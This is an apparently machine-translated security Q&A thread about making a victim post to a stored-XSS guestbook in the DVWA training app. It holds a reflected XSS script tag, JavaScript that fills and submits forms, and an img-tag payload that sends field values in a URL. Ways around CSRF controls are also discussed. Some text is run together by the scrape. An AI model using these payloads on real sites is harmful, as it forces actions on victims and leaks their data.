¿Cómo hacer que una víctima envíe una publicación a través de XSS?

2

En DVWA estoy tratando de entender diferentes métodos de ataque que el escenario habitual alert('XSS'); .

Estoy utilizando XSS reflexivo para entregar una carga útil que luego hace que el usuario que sigue la URL envíe una publicación en la sección XSS almacenada en la misma aplicación web. Aquí está mi código JS externo

var pagech = document.getElementsByTagName('a')[11].click(); 
var name = document.getElementsByName("txtName")[0].value="helloworld"; 
var comment = document.getElementsByName("mtxMessage")[0].value="helloworld2";
var sub = document.getElementsByTagName('input')[1].click();

Este código básicamente cambia la página a la página xss almacenada e ingresa algunos valores, luego envía el formulario, funciona dentro de la consola de firebug pero no cuando lo ejecuto utilizando la vulnerabilidad xss reflectiva a continuación.

<script src="http://172.16.150.172/dvwa/hackable/uploads/XSS.js"></script>

En cambio, la página de usuarios cambia pero la publicación no se envía. ¿Cómo puedo solucionar esto si es posible?

    
pregunta user1949280 02.09.2016 - 13:56
fuente

3 respuestas

2

Hay una gran diferencia entre el código ejecutado en la consola del desarrollador paso a paso [!] y JavaScript que forma parte de la página:
Todos los JavaScript en ejecución se detienen cuando navega y se aleja a otra página .

¿Pero por qué te molestarías en escribir JavaScript para imitar a un usuario?

Si desea enviar una solicitud POST (por ejemplo, enviar algo que se parece a un usuario que envía un formulario) use una AJAX -POST: la solicitud se muestra en esta Respuesta de desbordamiento de pila

    
respondido por el DaniEll 02.09.2016 - 15:12
fuente
1

Si desea enviar su POST desde el propio sitio web (tal vez para eludir algunos controles CSRF), tendrá que pensar en una forma inteligente de ejecutar su script mientras el formulario esté visible.

Por ejemplo:

  • Cargue un IFrame en la página vulnerable de XSS con la URL del formulario, llénelo utilizando el objeto de documento de Iframe, luego envíelo.
  • Realice una solicitud AJAX a la URL del formulario, lea los parámetros del formulario en JavaScript y luego realice una POST AJAX.

Si se produce una navegación de nivel superior con su carga útil evitará que se ejecute más de su secuencia de comandos, por lo tanto, debe usar objetos DOM o JavaScript para almacenar el contenido de otros elementos del sitio que desea manipular.

    
respondido por el SilverlightFox 05.01.2017 - 00:34
fuente
0

Tal vez, podría inyectar su carga útil utilizando la solicitud HTTP GEt; podría usar una etiqueta img .

<img src="http://172.16.150.172/dvwa/payload?txtName=helloworld&mtxMessage=helloworld2"/>

Ocambiesusecuenciadecomandosycréeladeformadinámica.

<script>varvalue1=document.getElementById("txtName").value;
var value2 = document.getElementById("mtxMessage").valued;
document.createElement("img").src="http://172.16.150.172/dvwa/payload?txtName="+value1+"&mtxMessage="+value2;
</script>

Espero que esta información te ayude.

Buena suerte.

    
respondido por el hmrojas.p 04.09.2016 - 19:47
fuente

Lea otras preguntas en las etiquetas